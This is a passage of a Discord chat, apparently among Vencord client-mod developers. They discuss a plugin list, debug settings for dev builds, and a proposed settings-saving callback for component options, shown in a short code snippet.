TypingTweaks, Unindent, UnsuppressEmbeds, UserVoiceShow, USRBG, ValidUser, VencordToolbox, ViewIcons, ViewRaw, VoiceDownload, VoiceMessages, VolumeBooster, WhoReacted, AliucordDetector, CustomScreenShare
#

hmm

#

idk what could be it, idk if it's even the fault of a plugin

jagged cloak
#

vencord debug shud be enabled everywhere for devbuilds tbh

#

the one that u have to --dev for

#

also aliucord detector is that just message latency trolleysink

limber skiff
#

yeah but modified

charred monolithBOT
still wasp
#

Forgive me if i'm stupid, but would something like this be possible to add a settings saving system to the component option type so it doesn't always need to use datastore?

const settings = definePluginSettings({
    component: {
        type: OptionType.COMPONENT,
        description: "A custom component",
        component: (saveData) => <Button onClick={saveData("info here")}/>
    }
});
jagged cloak
#

it would just be a wrapper around datastore no?